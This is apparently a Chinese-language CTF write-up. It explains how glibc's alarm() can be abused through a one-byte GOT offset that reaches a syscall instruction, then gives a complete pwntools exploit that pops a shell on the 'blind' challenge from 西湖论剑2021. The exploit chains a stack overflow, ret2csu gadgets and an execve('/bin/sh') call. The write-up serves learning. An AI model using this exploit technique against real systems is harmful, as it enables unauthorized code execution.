alarm
函数
定义
# \glibc-2.23\posix\unistd.h
/* Schedule an alarm. In SECONDS seconds, the process will get a SIGALRM.
If SECONDS is zero, any currently scheduled alarm will be cancelled.
The function returns the number of seconds remaining until the last
alarm scheduled would have signaled, or zero if there wasn't one.
There is no return value to indicate an error, but you can set `errno'
to 0 and check its value after calling `alarm', and this might tell you.
The signal may come late due to processor scheduling. */
extern unsigned int alarm (unsigned int __seconds) __THROW;
-
设定倒计时,时长范围为
unsigned int
-
重复设置
alarm
时,后面设定的会覆盖前面的 -
当已设定
alarm
时,若再设alarm
倒计时为0,则取消设定的alarm
,并将剩下的时间返回
应用
-
微偏移量:
alarm
函数存在微偏移的syscall
函数,可以用来构造系统调用
- 除了本题中的
alarm
函数存在syscall
的微偏移,存在类似的利用方式的还有read
、write
等(盲猜一波,接近系统调用的函数应该都可以这么利用)
- 单字节溢出,实现微偏移跳转(``HGAME2021 week1`有一道题就是这么搞的)
-
利用
ROP
等,调用alarm(0);
达到取消定时的目的 -
胡思乱想:通过微偏移量能执行
syscall
,这个时候还需要控制rax
,除了比较常规的用read
函数读入冗余字符来修改rax
。还可以通过alarm
函数修改rax
:调用alarm
,时间设定为一个合适时间,然后再执行alarm(0);
便可以返回剩余时间,修改rax
西湖论剑2021-线上-blind
checksec
一下,查看保护,只开了NX
,应该是栈上的漏洞。程序很简单,看一下代码:
ssize_t __fastcall main(int a1, char **a2, char **a3)
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(8u);
sleep(3u);
return read(0, buf, 0x500uLL);
}
因为存在很大空间的栈溢出,并且程序很简易,没有足够的gadgets
,然后一开始想到的就是dl_runtime_resolve
,于是比赛的时候我就自闭死了……调了很久很久,然后离比赛结束只有10mins
的时候,我确信了思路错了……
只能赛后复盘了。
这里就是要用到上面说的微偏移量通过alarm
函数,单字节爆破定位syscall
,然后还有就是需要用通用gadgets
。
exp
如下:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
bina = "./blind"
elf = ELF(bina)
pop_rdi = 0x4007c3
bss = 0x601088
def csu(rdi=0, rsi=0, rdx=0, r12=0, rbx=0, rbp=1):
# 通用gadgets
gadget_1 = 0x4007a0
gadget_2 = 0x4007ba
payload = p64(gadget_2)
payload += (p64(rbx) + p64(rbp) + p64(r12) + p64(rdx) + p64(rsi) + p64(rdi))
payload += p64(gadget_1)
payload += b'b'*0x38
return payload
def pwn(offset):
p = process(bina)
input()
payload = b'a'*0x58
payload += csu(rdi=0, rsi=elf.got['alarm'], rdx=1, r12=elf.got['read'])
# 通过通用gadgets调用read函数爆破微偏移量,获取syscall地址
payload += csu(rdi=0, rsi=bss, rdx=59, r12=elf.got['read'])
# 通过read函数向bss上写入/bin/sh;注意一点,这里我们通过read函数读入多余字符将rax改为59
payload += csu(rdi=bss, r12=elf.got['alarm'])
# getshell
payload += b'\x00'*(0x500-len(payload))
p.send(payload)
sleep(0.1)
p.send(chr(offset).encode())
sleep(0.1)
p.send(b'/bin/sh\x00'+b'a'*(59-8))
p.interactive()
p.close()
if __name__ == '__main__':
for i in range(0xff):
pwn(i)
反思
按道理来说,这个题很简单,微偏移量这个概念之前接触过,但做题的时候还是没有做出来。还是多思考,多做题,然后一些有意思的小技巧即使记录。最后借用一下eqqie的话提醒自己: